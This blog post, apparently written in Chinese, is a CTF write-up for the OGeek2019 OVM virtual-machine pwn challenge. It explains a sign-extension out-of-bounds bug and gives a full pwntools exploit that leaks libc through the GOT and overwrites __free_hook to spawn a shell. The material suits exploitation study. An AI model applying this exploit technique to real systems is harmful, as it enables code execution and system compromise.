vmpwn合集
Marce1

[OGeek2019 Final]OVM

image-20250121174322385

main函数,由用户指定pc和栈指针,解析用户输入的十六进制数作为指令和操作数,除了直接数外还可以选用4字节的寄存器作为参数。

image-20250121174720662

最后会释放一个大小为0x8c的堆块,这个堆块的内容可以由我们写。想到了打free_hook

具体的取指和运行:

image-20250121174852475

由指定pc开始取指,读取memory中对应的指令一个一个执行。

image-20250121175135950

看到ssize_t就觉得不对劲了,这东西是有符号的呀……

如果寄存器变量内的有符号数为负数,那就能利用memory越界读写。看一下case 0x40对应的汇编代码验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000000F24 ; 98:         memory[reg[hex1]] = reg[hex5];
.text:0000000000000F24
.text:0000000000000F24 loc_F24: ; CODE XREF: execute+93↑j
.text:0000000000000F24 movzx edx, [rbp+hex1]
.text:0000000000000F28 lea rax, reg
.text:0000000000000F2F movsxd rdx, edx
.text:0000000000000F32 mov ecx, [rax+rdx*4] ;此时ecx代表reg[hex1]
.text:0000000000000F35 movzx edx, [rbp+hex5]
.text:0000000000000F39 lea rax, reg
.text:0000000000000F40 movsxd rdx, edx
.text:0000000000000F43 mov eax, [rax+rdx*4]
.text:0000000000000F46 ; 97: result = (ssize_t)memory;
.text:0000000000000F46 mov esi, eax
.text:0000000000000F48 lea rax, memory
.text:0000000000000F4F movsxd rdx, ecx ;如果reg[hex1]有符号,rdx也会进行符号扩展,在多出来的高位全部置1,导致我们可以将下标改成负数越界
.text:0000000000000F52 mov [rax+rdx*4], esi
.text:0000000000000F55 jmp loc_1205

movzx和movsxd分别代表零扩展和符号扩展,此事在csapp中亦有提及:

image-20250123190827651

不仅是case 0x40的写,case 0x30的读也同样存在这个问题:

image-20250123191245673

这么一来我们就可以先访问got表,将libc地址泄露之后越界写comment的地址为free_hook-8,在最后往comment上写/bin/sh\x00+p64(system)。

首先,根据伪代码写一些可能要用到的函数,方便我们构造数据或者越界读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def code_read(reg, memory):
code = reg<<16 | memory | 0x30<<24
p.sendline(str(code))

def code_write(reg, memory):
code = reg<<16 | memory | 0x40<<24
p.sendline(str(code))

def code_add(reg5, reg1, reg3):
code = reg5<<16 | reg1 | reg3<<8 | 0x70<<24
p.sendline(str(code))

def code_left(reg5, reg3, reg1): #reg5 = reg3<<reg1
code = reg5<<16 | reg3<<8 | reg1 | 0xc0<<24
p.sendline(str(code))

def mov(reg5, a1): #reg5 = a1
code = reg5<<16 | a1 | 0x10<<24
p.sendline(str(code))

我们可以分别计算出需要覆盖的comment和需要泄露的stdin的got表相对memory的下标偏移,再算出相应的有符号数表示(偏移懒得截图,我直接上数据了

1
2
offset_comment = 0x30/4 #8 -8=0xfffffff8
offset_stdin = 0x303060-0x301F80 #0x38 -0x38 = 0xFFFFFFC8

然后就可以开始构造了:

1
2
3
4
5
6
7
8
9
10
11
#构造0xffffffc8
p.recvuntil(b"CODE: ")
mov(0, 0xff) #r0 = 0xff
mov(1, 8) #r1 = 8
mov(2, 0xc8) #r2 = 0xc8
code_left(3, 0, 1) #r3 = r0<<r1 = 0xff00
code_add(3, 3, 0) #r3 = r3+r0 = 0xffff
code_left(3, 3, 1) #r3 = r3<<r1 = 0xffff00
code_add(3, 3, 0) #r3 = r3+r0 = 0xffffff
code_left(3, 3, 1) #r3 = r3 << r1 = 0xffffff00
code_add(3, 3, 2)#reg[3] = 0xffffffc8

构造出-0x38后,我们将stdin的got表读进来,但是寄存器变量只有双字大小,got表的虚拟地址至少有7字节,我们需要分别读到两个寄存器中:

1
2
3
4
5
6
#读stdingot表
code_read(5, 3) #reg[5] = memory[reg[3]]
mov(4, 1) #reg[4] = 1
code_add(3, 3, 4) #reg[3] = reg[3] + reg[4]
code_read(6, 3) #reg[6] = memory[reg[3]]
#reg[5]|reg[6]<<32 = stdin.got

然后打开gdb看一眼free_hook和stdin的偏移,0x1098,我们取0x1090,前八个字节写一个/bin/sh\x00,释放的时候好给参数

1
2
3
4
5
6
7
#stdin 0x00007fc8dca78710 free_hook 0x7fc8dca797a8 0x1098
mov(7, 0x10) #reg[7] = 0x10
mov(8, 0x90) #reg[8] = 0x90
code_left(7, 7, 1) #reg[7] = reg[7]<<reg[1] = 0x1000
code_add(7, 7, 8) #reg[7] = reg[7]+reg[8] = 0x1090
code_add(5, 5, 7) #reg[5] = reg[5]+reg[7] = stdin.got+free_hook_offset = &__free_hook
#reg[5]|reg[6]<<32 = &__free_hook

最后,往comment上写__free_hook地址:

1
2
3
4
5
mov(9, 0x2f) #reg[9] = 0x2f
code_add(3, 3, 9) #reg[3] = reg[3]+reg[9] = 0xfffffff8
code_write(5, 3) #memory[reg[3]] = reg[5]
code_add(3, 3, 4) #reg[3] = reg[3]+reg[4] = 0xffffff9
code_write(6, 3) #memory[reg[3]] = reg[6]

万事俱备。在执行完代码后程序会把每个寄存器的内容打印出来,我们可以依次得到free_hook的真实地址,计算一下偏移很容易就能得到system地址,往free_hook上一写大功告成。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('node5.buuoj.cn', 27277)
libc = ELF('libs/2.23-0ubuntu3_amd64/libc.so.6')
def code_read(reg, memory):
code = reg<<16 | memory | 0x30<<24
p.sendline(str(code))

def code_write(reg, memory):
code = reg<<16 | memory | 0x40<<24
p.sendline(str(code))

def code_add(reg5, reg1, reg3):
code = reg5<<16 | reg1 | reg3<<8 | 0x70<<24
p.sendline(str(code))

def code_left(reg5, reg3, reg1): #reg5 = reg3<<reg1
code = reg5<<16 | reg3<<8 | reg1 | 0xc0<<24
p.sendline(str(code))

def mov(reg5, a1): #reg5 = a1
code = reg5<<16 | a1 | 0x10<<24
p.sendline(str(code))

p.sendlineafter(b"PC: ", b'0')
p.sendlineafter(b"SP: ", b'0')

p.sendlineafter(b"CODE SIZE: ", b'23')

offset_comment = 0x30/4 #8 -8=0xfffffff8
offset_stdin = 0x303060-0x301F80 #0x38 -0x38 = 0xFFFFFFC8

#构造0xffffffc8
p.recvuntil(b"CODE: ")
mov(0, 0xff)
mov(1, 8)
mov(2, 0xc8)
code_left(3, 0, 1)
code_add(3, 3, 0)
code_left(3, 3, 1)
code_add(3, 3, 0)
code_left(3, 3, 1)

code_add(3, 3, 2)#reg[3] = 0xffffffc8
#读stdingot表
code_read(5, 3)
mov(4, 1)
code_add(3, 3, 4)

code_read(6, 3)

#stdin 0x00007fc8dca78710 free_hook 0x7fc8dca797a8 0x1098
mov(7, 0x10)
mov(8, 0x90)
code_left(7, 7, 1)
code_add(7, 7, 8)
code_add(5, 5, 7) #reg[5]|reg[6]<<32 = &__free_hook

mov(9, 0x2f)
code_add(3, 3, 9)
code_write(5, 3)
code_add(3, 3, 4)
code_write(6, 3)

p.recvuntil('R5: ')
r5 = int(p.recv(8), 16)
p.recvuntil('R6: ')
r6 = int(p.recv(4), 16)
free_hook = r5+(r6<<32)+8
success('free_hook---->'+hex(free_hook))
libc_base = 0x7f848c95c000+free_hook-0x7f848cd217a8
system = libc_base+libc.sym['system']
p.sendlineafter("HOW DO YOU FEEL AT OVM?\n", b'/bin/sh\x00'+p64(system))
p.interactive()

image-20250123225936556

只在本地打通了,2.23的环境。buuoj没给libc附件,远程懒得去调了。

由 Hexo 驱动 & 主题 Keep
总字数 47.9k 访客数 访问量